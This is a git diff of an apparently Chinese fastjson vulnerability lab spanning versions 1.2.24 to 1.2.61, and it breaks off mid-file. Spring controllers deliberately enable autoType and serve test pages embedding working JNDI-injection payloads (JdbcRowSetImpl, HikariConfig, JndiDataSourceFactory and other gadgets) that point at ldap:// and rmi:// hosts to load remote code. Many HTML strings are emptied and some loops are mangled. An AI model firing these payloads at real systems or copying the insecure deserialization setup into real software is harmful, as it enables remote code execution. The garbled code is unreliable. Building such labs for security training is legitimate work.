3c5c0d0..4ffae6b 100644 --- a/fastjson-1.2.24/Dockerfile +++ b/fastjson-1.2.24/Dockerfile @@ -9,6 +9,7 @@ FROM wushangleon/java:jdk8u112 COPY --from=builder /opt/fastjson/target/fastjson-1.2.24-1.0-SNAPSHOT.jar /opt/app.jar # 定义启动命令 +EXPOSE 8080 CMD ["java", "-jar", "/opt/app.jar"] diff --git a/fastjson-1.2.24/Dockerfile_local b/fastjson-1.2.24/Dockerfile_local index 7c48b85..a3e4b2f 100644 --- a/fastjson-1.2.24/Dockerfile_local +++ b/fastjson-1.2.24/Dockerfile_local @@ -3,6 +3,7 @@ FROM wushangleon/java:jdk8u112 COPY target/fastjson-1.2.24-1.0-SNAPSHOT.jar /opt/app.jar # 定义启动命令 +EXPOSE 8080 CMD ["java", "-jar", "/opt/app.jar"] diff --git a/fastjson-1.2.24/docker-compose.yaml b/fastjson-1.2.24/docker-compose.yaml new file mode 100644 index 0000000..bc2c2bd --- /dev/null +++ b/fastjson-1.2.24/docker-compose.yaml @@ -0,0 +1,9 @@ +version: "3.8" + +services: + app: + build: + context: . + dockerfile: Dockerfile + ports: + - "8080:8080" diff --git a/fastjson-1.2.24/fastjson-1.2.24.iml b/fastjson-1.2.24/fastjson-1.2.24.iml deleted file mode 100644 index 78b2cc5..0000000 --- a/fastjson-1.2.24/fastjson-1.2.24.iml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/fastjson-1.2.24/src/main/java/com/myapp/FastjsonController.java b/fastjson-1.2.24/src/main/java/com/myapp/FastjsonController.java index 8156c85..d832209 100644 --- a/fastjson-1.2.24/src/main/java/com/myapp/FastjsonController.java +++ b/fastjson-1.2.24/src/main/java/com/myapp/FastjsonController.java @@ -1,73 +1,95 @@ package com.myapp; import com.alibaba.fastjson.JSONObject; -import org.springframework.web.bind.annotation.*; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; @RestController public class FastjsonController { - @GetMapping("/fastjson-1.2.24") + @GetMapping(value = {"/", "/fastjson-1.2.24"}, produces = "text/html;charset=UTF-8") @ResponseBody public String fastjson_1_2_24() { - String html = "\n" + - "\n" + + return "\n" + + "\n" + "\n" + " \n" + - " JSON Form\n" + + " fastjson-1.2.24 Playground\n" + + " \n" + "\n" + "\n" + - " \n" + - " \n" + - "

\n" + - "\n" + - " \n" + - "

\n" + + "
\n" + + "

fastjson-1.2.24 靶场测试页

\n" + + "

可以先用两个按钮填充 vul.py 里的攻击/正常样例,也可以手动修改 payload 后再发送到 /fastjson1.2.24-process

\n" + + " \n" + + " \n" + + "
\n" + + " \n" + + " \n" + + " \n" + + "
\n" + + " \n" + + "
等待发送请求...
\n" + + "
\n" + + " \n" + "\n" + ""; - - return html; } @PostMapping("/fastjson1.2.24-process") public String fastjson1_2_24_process(@RequestBody String data) { JSONObject jsonObject = JSONObject.parseObject(data); - // 处理 jsonObject return "Processed: " + jsonObject; } } diff --git a/fastjson-1.2.25-1.2.41/Dockerfile b/fastjson-1.2.25-1.2.41/Dockerfile index d96b956..f6a9b12 100644 --- a/fastjson-1.2.25-1.2.41/Dockerfile +++ b/fastjson-1.2.25-1.2.41/Dockerfile @@ -9,6 +9,7 @@ FROM wushangleon/java:jdk8u112 COPY --from=builder /opt/fastjson/target/fastjson-1.2.25-1.2.41-1.0-SNAPSHOT.jar /opt/app.jar # 定义启动命令 +EXPOSE 8080 CMD ["java", "-jar", "/opt/app.jar"] diff --git a/fastjson-1.2.25-1.2.41/Dockerfile_local b/fastjson-1.2.25-1.2.41/Dockerfile_local index d0009ec..ffaad52 100644 --- a/fastjson-1.2.25-1.2.41/Dockerfile_local +++ b/fastjson-1.2.25-1.2.41/Dockerfile_local @@ -3,6 +3,7 @@ FROM wushangleon/java:jdk8u112 COPY target/fastjson-1.2.25-1.2.41-1.0-SNAPSHOT.jar /opt/app.jar # 定义启动命令 +EXPOSE 8080 CMD ["java", "-jar", "/opt/app.jar"] diff --git a/fastjson-1.2.25-1.2.41/docker-compose.yaml b/fastjson-1.2.25-1.2.41/docker-compose.yaml new file mode 100644 index 0000000..bc2c2bd --- /dev/null +++ b/fastjson-1.2.25-1.2.41/docker-compose.yaml @@ -0,0 +1,9 @@ +version: "3.8" + +services: + app: + build: + context: . + dockerfile: Dockerfile + ports: + - "8080:8080" diff --git a/fastjson-1.2.25-1.2.41/fastjson-1.2.25-1.2.41.iml b/fastjson-1.2.25-1.2.41/fastjson-1.2.25-1.2.41.iml deleted file mode 100644 index 78b2cc5..0000000 --- a/fastjson-1.2.25-1.2.41/fastjson-1.2.25-1.2.41.iml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/fastjson-1.2.25-1.2.41/src/main/java/com/myapp/FastjsonController.java b/fastjson-1.2.25-1.2.41/src/main/java/com/myapp/FastjsonController.java index 27da2d4..6b9c106 100644 --- a/fastjson-1.2.25-1.2.41/src/main/java/com/myapp/FastjsonController.java +++ b/fastjson-1.2.25-1.2.41/src/main/java/com/myapp/FastjsonController.java @@ -3,24 +3,125 @@ import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONObject; import com.alibaba.fastjson.parser.ParserConfig; -import org.springframework.web.bind.annotation.*; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; @RestController public class FastjsonController { + @GetMapping(value = {"/", "/fastjson-1.2.25-1.2.41"}, produces = "text/html;charset=UTF-8") + @ResponseBody + public String index() { + String normalPayload = "{\"name\":\"123\",\"email\":\"123@123\",\"age\":\"123\"}"; + String attack25 = "{\"a\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"b\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://fastjson125-dnslog.cn\",\"autoCommit\":true}}"; + String attack41 = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"dataSourceName\":\"ldap://fastjson125-141-setAutoTypeSupport-dnslog.cn\",\"autoCommit\":true}"; + + return "" + + "" + + "" + + "" + + "fastjson-1.2.25-1.2.41 靶场测试页" + + styleBlock() + + "" + + "" + + "
" + + "

fastjson-1.2.25-1.2.41 靶场测试页

" + + "

每个面板都可以先填充 vul.py 中的样例 payload,再手动编辑,然后发送当前内容。

" + + buildPanel("p25", "fastjson 1.2.25 - disableAutoTypeSupport", "/fastjson1.2.25-process", normalPayload, 1) + + buildPanel("p41", "fastjson 1.2.41 - setAutoTypeSupport", "/fastjson1.2.41-process-setAutoTypeSupport", normalPayload, 1) + + "
" + + "" + + "" + + ""; + } @PostMapping("/fastjson1.2.25-process") public String fastjson1_2_25_process(@RequestBody String data) { JSONObject jsonObject = JSONObject.parseObject(data); - // 处理 jsonObject return "Processed: " + jsonObject; } @PostMapping("/fastjson1.2.41-process-setAutoTypeSupport") public String fastjson1_2_41_process(@RequestBody String data) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true); - JSON.parse(data); return data; } + + private String buildPanel(String id, String title, String path, String normalPayload, int attackCount) { + StringBuilder buttons = new StringBuilder(); + for (int i = 0; i < attackCount; i++) { + buttons.append(""); + } + buttons.append("") + .append(""); + + return "
" + + "

" + title + "

" + + "

目标接口: " + path + "

" + + "" + + "" + + "
" + buttons + "
" + + "" + + "
等待发送请求...
" + + "
"; + } + + private String styleBlock() { + return ""; + } + + private String escapeForJs(String value) { + return value.replace("\\", "\\\\").replace("'", "\\'").replace("\r", "").replace("\n", "\\n"); + } + + private String escapeHtml(String value) { + return value.replace("&", "&").replace("<", "<").replace(">", ">"); + } } diff --git a/fastjson-1.2.42/Dockerfile b/fastjson-1.2.42/Dockerfile index 93368ca..8dc1b15 100644 --- a/fastjson-1.2.42/Dockerfile +++ b/fastjson-1.2.42/Dockerfile @@ -9,6 +9,7 @@ FROM wushangleon/java:jdk8u112 COPY --from=builder /opt/fastjson/target/fastjson-1.2.42-1.0-SNAPSHOT.jar /opt/app.jar # 定义启动命令 +EXPOSE 8080 CMD ["java", "-jar", "/opt/app.jar"] diff --git a/fastjson-1.2.42/Dockerfile_local b/fastjson-1.2.42/Dockerfile_local index 6ae317d..907438e 100644 --- a/fastjson-1.2.42/Dockerfile_local +++ b/fastjson-1.2.42/Dockerfile_local @@ -3,6 +3,7 @@ FROM wushangleon/java:jdk8u112 COPY target/fastjson-1.2.42-1.0-SNAPSHOT.jar /opt/app.jar # 定义启动命令 +EXPOSE 8080 CMD ["java", "-jar", "/opt/app.jar"] diff --git a/fastjson-1.2.42/docker-compose.yaml b/fastjson-1.2.42/docker-compose.yaml new file mode 100644 index 0000000..bc2c2bd --- /dev/null +++ b/fastjson-1.2.42/docker-compose.yaml @@ -0,0 +1,9 @@ +version: "3.8" + +services: + app: + build: + context: . + dockerfile: Dockerfile + ports: + - "8080:8080" diff --git a/fastjson-1.2.42/fastjson-1.2.42.iml b/fastjson-1.2.42/fastjson-1.2.42.iml deleted file mode 100644 index 78b2cc5..0000000 --- a/fastjson-1.2.42/fastjson-1.2.42.iml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/fastjson-1.2.42/src/main/java/myapp/FastjsonController.java b/fastjson-1.2.42/src/main/java/myapp/FastjsonController.java index bd609bd..150f365 100644 --- a/fastjson-1.2.42/src/main/java/myapp/FastjsonController.java +++ b/fastjson-1.2.42/src/main/java/myapp/FastjsonController.java @@ -2,18 +2,86 @@ import com.alibaba.fastjson.JSONObject; import com.alibaba.fastjson.parser.ParserConfig; -import org.springframework.web.bind.annotation.*; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; @RestController public class FastjsonController { + @GetMapping(value = {"/", "/fastjson-1.2.42"}, produces = "text/html;charset=UTF-8") + @ResponseBody + public String index() { + return buildPage( + "fastjson-1.2.42 靶场测试页", + "/fastjson1.2.42-process", + new String[]{ + "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"rmi://fastjson1_2_42_attack.dnslog.cn/Exploit\", \"autoCommit\":true}" + }, + "{\"name\":\"123\",\"email\":\"123@123\",\"age\":\"123\"}" + ); + } @PostMapping("/fastjson1.2.42-process") public String fastjson1_2_42_process(@RequestBody String data) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true); - JSONObject jsonObject = JSONObject.parseObject(data); - // 处理 jsonObject return "Processed: " + jsonObject; } + + private String buildPage(String title, String processPath, String[] attackPayloads, String normalPayload) { + StringBuilder attackButtons = new StringBuilder(); + for (int i = 0; i < attackPayloads.length; i++) { + attackButtons.append(""); + } + return "" + title + "" + + styleBlock() + + "

" + title + "

" + + "

可以先填充 vul.py 中的攻击或正常样例,再手动修改 payload,然后发送到 " + processPath + "

" + + "" + + "
" + attackButtons + + "" + + "
" + + "
等待发送请求...
" + + "" + + ""; + } + + private String styleBlock() { + return ""; + } + + private String toJsArray(String[] payloads) { + StringBuilder builder = new StringBuilder("["); + for (int i = 0; i < payloads.length; i++) { + if (i > 0) { + builder.append(","); + } + builder.append("'").append(escapeForJs(payloads[i])).append("'"); + } + builder.append("]"); + return builder.toString(); + } + + private String escapeForJs(String value) { + return value.replace("\\", "\\\\").replace("'", "\\'").replace("\r", "").replace("\n", "\\n"); + } + + private String escapeHtml(String value) { + return value.replace("&", "&").replace("<", "<").replace(">", ">"); + } } diff --git a/fastjson-1.2.43/Dockerfile b/fastjson-1.2.43/Dockerfile index fb72615..4817a1a 100644 --- a/fastjson-1.2.43/Dockerfile +++ b/fastjson-1.2.43/Dockerfile @@ -9,6 +9,7 @@ FROM wushangleon/java:jdk8u112 COPY --from=builder /opt/fastjson/target/fastjson-1.2.43-1.0-SNAPSHOT.jar /opt/app.jar # 定义启动命令 +EXPOSE 8080 CMD ["java", "-jar", "/opt/app.jar"] diff --git a/fastjson-1.2.43/Dockerfile_local b/fastjson-1.2.43/Dockerfile_local index ccb7770..0a1c894 100644 --- a/fastjson-1.2.43/Dockerfile_local +++ b/fastjson-1.2.43/Dockerfile_local @@ -3,6 +3,7 @@ FROM wushangleon/java:jdk8u112 COPY target/fastjson-1.2.43-1.0-SNAPSHOT.jar /opt/app.jar # 定义启动命令 +EXPOSE 8080 CMD ["java", "-jar", "/opt/app.jar"] diff --git a/fastjson-1.2.43/docker-compose.yaml b/fastjson-1.2.43/docker-compose.yaml new file mode 100644 index 0000000..bc2c2bd --- /dev/null +++ b/fastjson-1.2.43/docker-compose.yaml @@ -0,0 +1,9 @@ +version: "3.8" + +services: + app: + build: + context: . + dockerfile: Dockerfile + ports: + - "8080:8080" diff --git a/fastjson-1.2.43/fastjson-1.2.43.iml b/fastjson-1.2.43/fastjson-1.2.43.iml deleted file mode 100644 index 78b2cc5..0000000 --- a/fastjson-1.2.43/fastjson-1.2.43.iml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/fastjson-1.2.43/src/main/java/myapp/FastjsonController.java b/fastjson-1.2.43/src/main/java/myapp/FastjsonController.java index a2f0d51..929b4c7 100644 --- a/fastjson-1.2.43/src/main/java/myapp/FastjsonController.java +++ b/fastjson-1.2.43/src/main/java/myapp/FastjsonController.java @@ -2,18 +2,65 @@ import com.alibaba.fastjson.JSONObject; import com.alibaba.fastjson.parser.ParserConfig; -import org.springframework.web.bind.annotation.*; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; @RestController public class FastjsonController { + @GetMapping(value = {"/", "/fastjson-1.2.43"}, produces = "text/html;charset=UTF-8") + @ResponseBody + public String index() { + return buildPage( + "fastjson-1.2.43 靶场测试页", + "/fastjson1.2.43-process", + new String[]{ + "{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{\"dataSourceName\":\"rmi://fastjson1_2_43_attack.dnslog.cn/Exploit\",\"autoCommit\":true]}" + }, + "{\"name\":\"123\",\"email\":\"123@123\",\"age\":\"123\"}" + ); + } @PostMapping("/fastjson1.2.43-process") public String fastjson1_2_43_process(@RequestBody String data) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true); - JSONObject jsonObject = JSONObject.parseObject(data); - // 处理 jsonObject return "Processed: " + jsonObject; } + + private String buildPage(String title, String processPath, String[] attackPayloads, String normalPayload) { + StringBuilder attackButtons = new StringBuilder(); + for (int i = 0; i < attackPayloads.length; i++) { + attackButtons.append(""); + } + return "" + title + "" + styleBlock() + + "

" + title + "

可以先填充 vul.py 中的攻击或正常样例,再手动修改 payload,然后发送到 " + processPath + "

" + + "
" + attackButtons + + "
" + + "
等待发送请求...
"; + } + + private String styleBlock() { + return ""; + } + + private String toJsArray(String[] payloads) { + StringBuilder builder = new StringBuilder("["); + for (int i = 0; i < payloads.length; i++) { + if (i > 0) builder.append(","); + builder.append("'").append(escapeForJs(payloads[i])).append("'"); + } + return builder.append("]").toString(); + } + + private String escapeForJs(String value) { + return value.replace("\\", "\\\\").replace("'", "\\'").replace("\r", "").replace("\n", "\\n"); + } + + private String escapeHtml(String value) { + return value.replace("&", "&").replace("<", "<").replace(">", ">"); + } } diff --git a/fastjson-1.2.45/Dockerfile b/fastjson-1.2.45/Dockerfile index bfcfc88..ec52ccb 100644 --- a/fastjson-1.2.45/Dockerfile +++ b/fastjson-1.2.45/Dockerfile @@ -9,6 +9,7 @@ FROM wushangleon/java:jdk8u112 COPY --from=builder /opt/fastjson/target/fastjson-1.2.45-1.0-SNAPSHOT.jar /opt/app.jar # 定义启动命令 +EXPOSE 8080 CMD ["java", "-jar", "/opt/app.jar"] diff --git a/fastjson-1.2.45/Dockerfile_local b/fastjson-1.2.45/Dockerfile_local index 49095da..1cda453 100644 --- a/fastjson-1.2.45/Dockerfile_local +++ b/fastjson-1.2.45/Dockerfile_local @@ -3,6 +3,7 @@ FROM wushangleon/java:jdk8u112 COPY target/fastjson-1.2.45-1.0-SNAPSHOT.jar /opt/app.jar # 定义启动命令 +EXPOSE 8080 CMD ["java", "-jar", "/opt/app.jar"] diff --git a/fastjson-1.2.45/docker-compose.yaml b/fastjson-1.2.45/docker-compose.yaml new file mode 100644 index 0000000..bc2c2bd --- /dev/null +++ b/fastjson-1.2.45/docker-compose.yaml @@ -0,0 +1,9 @@ +version: "3.8" + +services: + app: + build: + context: . + dockerfile: Dockerfile + ports: + - "8080:8080" diff --git a/fastjson-1.2.45/fastjson-1.2.45.iml b/fastjson-1.2.45/fastjson-1.2.45.iml deleted file mode 100644 index 78b2cc5..0000000 --- a/fastjson-1.2.45/fastjson-1.2.45.iml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/fastjson-1.2.45/src/main/java/myapp/FastjsonController.java b/fastjson-1.2.45/src/main/java/myapp/FastjsonController.java index eca532d..8f8c3ec 100644 --- a/fastjson-1.2.45/src/main/java/myapp/FastjsonController.java +++ b/fastjson-1.2.45/src/main/java/myapp/FastjsonController.java @@ -1,20 +1,66 @@ package myapp; -import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.JSONObject; import com.alibaba.fastjson.parser.ParserConfig; -import org.springframework.web.bind.annotation.*; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; @RestController public class FastjsonController { + @GetMapping(value = {"/", "/fastjson-1.2.45"}, produces = "text/html;charset=UTF-8") + @ResponseBody + public String index() { + return buildPage( + "fastjson-1.2.45 靶场测试页", + "/fastjson1.2.45-process", + new String[]{ + "{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"rmi://fastjson1.2.45-process.dnslog.cn/Exploit\"}}" + }, + "{\"name\":\"123\",\"email\":\"123@123\",\"age\":\"123\"}" + ); + } @PostMapping("/fastjson1.2.45-process") public String fastjson1_2_45_process(@RequestBody String data) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true); - JSONObject jsonObject = JSONObject.parseObject(data); - // 处理 jsonObject return "Processed: " + jsonObject; } + + private String buildPage(String title, String processPath, String[] attackPayloads, String normalPayload) { + StringBuilder attackButtons = new StringBuilder(); + for (int i = 0; i < attackPayloads.length; i++) { + attackButtons.append(""); + } + return "" + title + "" + styleBlock() + + "

" + title + "

可以先填充 vul.py 中的攻击或正常样例,再手动修改 payload,然后发送到 " + processPath + "

" + + "
" + attackButtons + + "
" + + "
等待发送请求...
"; + } + + private String styleBlock() { + return ""; + } + + private String toJsArray(String[] payloads) { + StringBuilder builder = new StringBuilder("["); + for (int i = 0; i < payloads.length; i++) { + if (i > 0) builder.append(","); + builder.append("'").append(escapeForJs(payloads[i])).append("'"); + } + return builder.append("]").toString(); + } + + private String escapeForJs(String value) { + return value.replace("\\", "\\\\").replace("'", "\\'").replace("\r", "").replace("\n", "\\n"); + } + + private String escapeHtml(String value) { + return value.replace("&", "&").replace("<", "<").replace(">", ">"); + } } diff --git a/fastjson-1.2.59/Dockerfile b/fastjson-1.2.59/Dockerfile index 8cb6c34..939a492 100644 --- a/fastjson-1.2.59/Dockerfile +++ b/fastjson-1.2.59/Dockerfile @@ -9,6 +9,7 @@ FROM wushangleon/java:jdk8u112 COPY --from=builder /opt/fastjson/target/fastjson-1.2.59-1.0-SNAPSHOT.jar /opt/app.jar # 定义启动命令 +EXPOSE 8080 CMD ["java", "-jar", "/opt/app.jar"] diff --git a/fastjson-1.2.59/Dockerfile_local b/fastjson-1.2.59/Dockerfile_local index 4ec7c87..8c3daf9 100644 --- a/fastjson-1.2.59/Dockerfile_local +++ b/fastjson-1.2.59/Dockerfile_local @@ -3,6 +3,7 @@ FROM wushangleon/java:jdk8u112 COPY target/fastjson-1.2.59-1.0-SNAPSHOT.jar /opt/app.jar # 定义启动命令 +EXPOSE 8080 CMD ["java", "-jar", "/opt/app.jar"] diff --git a/fastjson-1.2.59/docker-compose.yaml b/fastjson-1.2.59/docker-compose.yaml new file mode 100644 index 0000000..bc2c2bd --- /dev/null +++ b/fastjson-1.2.59/docker-compose.yaml @@ -0,0 +1,9 @@ +version: "3.8" + +services: + app: + build: + context: . + dockerfile: Dockerfile + ports: + - "8080:8080" diff --git a/fastjson-1.2.59/fastjson-1.2.59.iml b/fastjson-1.2.59/fastjson-1.2.59.iml deleted file mode 100644 index 78b2cc5..0000000 --- a/fastjson-1.2.59/fastjson-1.2.59.iml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/fastjson-1.2.59/src/main/java/myapp/FastjsonController.java b/fastjson-1.2.59/src/main/java/myapp/FastjsonController.java index 114b1a1..bf04ca3 100644 --- a/fastjson-1.2.59/src/main/java/myapp/FastjsonController.java +++ b/fastjson-1.2.59/src/main/java/myapp/FastjsonController.java @@ -2,19 +2,43 @@ import com.alibaba.fastjson.JSONObject; import com.alibaba.fastjson.parser.ParserConfig; -import org.springframework.web.bind.annotation.*; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; @RestController public class FastjsonController { + @GetMapping(value = {"/", "/fastjson-1.2.59"}, produces = "text/html;charset=UTF-8") + @ResponseBody + public String index() { + return buildPage("fastjson-1.2.59 靶场测试页", "/fastjson1.2.59-process", new String[]{ + "{\"@type\":\"com.zaxxer.hikari.HikariConfig\",\"metricRegistry\":\"rmi://fastjson1.2.59-process.dnslog.cn/Exploit\"}", + "{\"@type\":\"com.zaxxer.hikari.HikariConfig\",\"healthCheckRegistry\":\"rmi://fastjson1.2.59-process.dnslog.cn/Exploit\"}" + }, "{\"name\":\"123\",\"email\":\"123@123\",\"age\":\"123\"}"); + } @PostMapping("/fastjson1.2.59-process") public String fastjson1_2_59_process(@RequestBody String data) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true); - JSONObject jsonObject = JSONObject.parseObject(data); - // 处理 jsonObject return "Processed: " + jsonObject; } + private String buildPage(String title, String processPath, String[] attackPayloads, String normalPayload) { + StringBuilder attackButtons = new StringBuilder(); + for (int i = 0; i < attackPayloads.length; i++) attackButtons.append(""); + return page(title, processPath, attackPayloads, normalPayload, attackButtons.toString()); + } + + private String page(String title, String processPath, String[] attackPayloads, String normalPayload, String attackButtons) { + return "" + title + "" + styleBlock() + "

" + title + "

可以先填充 vul.py 中的攻击或正常样例,再手动修改 payload,然后发送到 " + processPath + "

" + attackButtons + "
等待发送请求...
"; + } + + private String styleBlock() { return ""; } + private String toJsArray(String[] payloads) { StringBuilder b=new StringBuilder("["); for(int i=0;i0)b.append(","); b.append("'").append(escapeForJs(payloads[i])).append("'"); } return b.append("]").toString(); } + private String escapeForJs(String value) { return value.replace("\\", "\\\\").replace("'", "\\'").replace("\r", "").replace("\n", "\\n"); } + private String escapeHtml(String value) { return value.replace("&", "&").replace("<", "<").replace(">", ">"); } } diff --git a/fastjson-1.2.60/Dockerfile b/fastjson-1.2.60/Dockerfile index bfcfc88..ccea6ec 100644 --- a/fastjson-1.2.60/Dockerfile +++ b/fastjson-1.2.60/Dockerfile @@ -6,9 +6,10 @@ RUN mvn package -DskipTests FROM wushangleon/java:jdk8u112 # 复制构建好的 JAR 文件到容器 -COPY --from=builder /opt/fastjson/target/fastjson-1.2.45-1.0-SNAPSHOT.jar /opt/app.jar +COPY --from=builder /opt/fastjson/target/fastjson-1.2.60-1.0-SNAPSHOT.jar /opt/app.jar # 定义启动命令 +EXPOSE 8080 CMD ["java", "-jar", "/opt/app.jar"] diff --git a/fastjson-1.2.60/Dockerfile_local b/fastjson-1.2.60/Dockerfile_local index c4744de..5a60be2 100644 --- a/fastjson-1.2.60/Dockerfile_local +++ b/fastjson-1.2.60/Dockerfile_local @@ -3,6 +3,7 @@ FROM wushangleon/java:jdk8u112 COPY target/fastjson-1.2.60-1.0-SNAPSHOT.jar /opt/app.jar # 定义启动命令 +EXPOSE 8080 CMD ["java", "-jar", "/opt/app.jar"] diff --git a/fastjson-1.2.60/docker-compose.yaml b/fastjson-1.2.60/docker-compose.yaml new file mode 100644 index 0000000..bc2c2bd --- /dev/null +++ b/fastjson-1.2.60/docker-compose.yaml @@ -0,0 +1,9 @@ +version: "3.8" + +services: + app: + build: + context: . + dockerfile: Dockerfile + ports: + - "8080:8080" diff --git a/fastjson-1.2.60/fastjson-1.2.60.iml b/fastjson-1.2.60/fastjson-1.2.60.iml deleted file mode 100644 index 78b2cc5..0000000 --- a/fastjson-1.2.60/fastjson-1.2.60.iml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/fastjson-1.2.60/src/main/java/myapp/FastjsonController.java b/fastjson-1.2.60/src/main/java/myapp/FastjsonController.java index eb322bb..dd85033 100644 --- a/fastjson-1.2.60/src/main/java/myapp/FastjsonController.java +++ b/fastjson-1.2.60/src/main/java/myapp/FastjsonController.java @@ -2,18 +2,43 @@ import com.alibaba.fastjson.JSONObject; import com.alibaba.fastjson.parser.ParserConfig; -import org.springframework.web.bind.annotation.*; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; @RestController public class FastjsonController { + @GetMapping(value = {"/", "/fastjson-1.2.60"}, produces = "text/html;charset=UTF-8") + @ResponseBody + public String index() { + return buildPage("fastjson-1.2.60 靶场测试页", "/fastjson1.2.60-process", new String[]{ + "{\"@type\":\"oracle.jdbc.connector.OracleManagedConnectionFactory\",\"xaDataSourceName\":\"rmi://fastjson1.2.60-process.dnslog.cn/ExportObject\"}", + "{\"@type\":\"org.apache.commons.configuration.JNDIConfiguration\",\"prefix\":\"rmi://fastjson1.2.60-process.dnslog.cn/ExportObject\"}" + }, "{\"name\":\"123\",\"email\":\"123@123\",\"age\":\"123\"}"); + } @PostMapping("/fastjson1.2.60-process") public String fastjson1_2_60_process(@RequestBody String data) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true); - JSONObject jsonObject = JSONObject.parseObject(data); - // 处理 jsonObject return "Processed: " + jsonObject; } + + private String buildPage(String title, String processPath, String[] attackPayloads, String normalPayload) { + StringBuilder attackButtons = new StringBuilder(); + for (int i = 0; i < attackPayloads.length; i++) attackButtons.append(""); + return page(title, processPath, attackPayloads, normalPayload, attackButtons.toString()); + } + + private String page(String title, String processPath, String[] attackPayloads, String normalPayload, String attackButtons) { + return "" + title + "" + styleBlock() + "

" + title + "

可以先填充 vul.py 中的攻击或正常样例,再手动修改 payload,然后发送到 " + processPath + "

" + attackButtons + "
等待发送请求...
"; + } + + private String styleBlock() { return ""; } + private String toJsArray(String[] payloads) { StringBuilder b=new StringBuilder("["); for(int i=0;i0)b.append(","); b.append("'").append(escapeForJs(payloads[i])).append("'"); } return b.append("]").toString(); } + private String escapeForJs(String value) { return value.replace("\\", "\\\\").replace("'", "\\'").replace("\r", "").replace("\n", "\\n"); } + private String escapeHtml(String value) { return value.replace("&", "&").replace("<", "<").replace(">", ">"); } } diff --git a/fastjson-1.2.61/Dockerfile b/fastjson-1.2.61/Dockerfile index 0e43bbb..e204290 100644 --- a/fastjson-1.2.61/Dockerfile +++ b/fastjson-1.2.61/Dockerfile @@ -9,6 +9,7 @@ FROM wushangleon/java:jdk8u112 COPY --from=builder /opt/fastjson/target/fastjson-1.2.61-1.0-SNAPSHOT.jar /opt/app.jar # 定义启动命令 +EXPOSE 8080 CMD ["java", "-jar", "/opt/app.jar"] diff --git a/fastjson-1.2.61/Dockerfile_local b/fastjson-1.2.61/Dockerfile_local index aaf83e6..7ab82c7 100644 --- a/fastjson-1.2.61/Dockerfile_local +++ b/fastjson-1.2.61/Dockerfile_local @@ -3,6 +3,7 @@ FROM wushangleon/java:jdk8u112 COPY target/fastjson-1.2.61-1.0-SNAPSHOT.jar /opt/app.jar # 定义启动命令 +EXPOSE 8080 CMD ["java", "-jar", "/opt/app.jar"] diff --git a/fastjson-1.2.61/docker-compose.yaml b/fastjson-1.2.61/docker-compose.yaml new file mode 100644 index 0000000..bc2c2bd --- /dev/null +++ b/fastjson-1.2.61/docker-compose.yaml @@ -0,0 +1,9 @@ +version: "3.8" + +services: + app: + build: + context: . + dockerfile: Dockerfile + ports: + - "8080:8080" diff --git a/fastjson-1.2.61/fastjson-1.2.61.iml b/fastjson-1.2.61/fastjson-1.2.61.iml deleted file mode 100644 index 78b2cc5..0000000 --- a/fastjson-1.2.61/fastjson-1.2.61.iml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/fastjson-1.2.61/src/main/java/myapp/FastjsonController.java b/fastjson-1.2.61/src/main/java/myapp/FastjsonController.java index c3d74c4..15b2e49 100644 --- a/fastjson-1.2.61/src/main/java/myapp/FastjsonController.java +++ b/fastjson-1.2.61/src/main/java/myapp/FastjsonController.java @@ -2,18 +2,43 @@ import com.alibaba.fastjson.JSONObject; import com.alibaba.fastjson.parser.ParserConfig; -import org.springframework.web.bind.annotation.*; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import 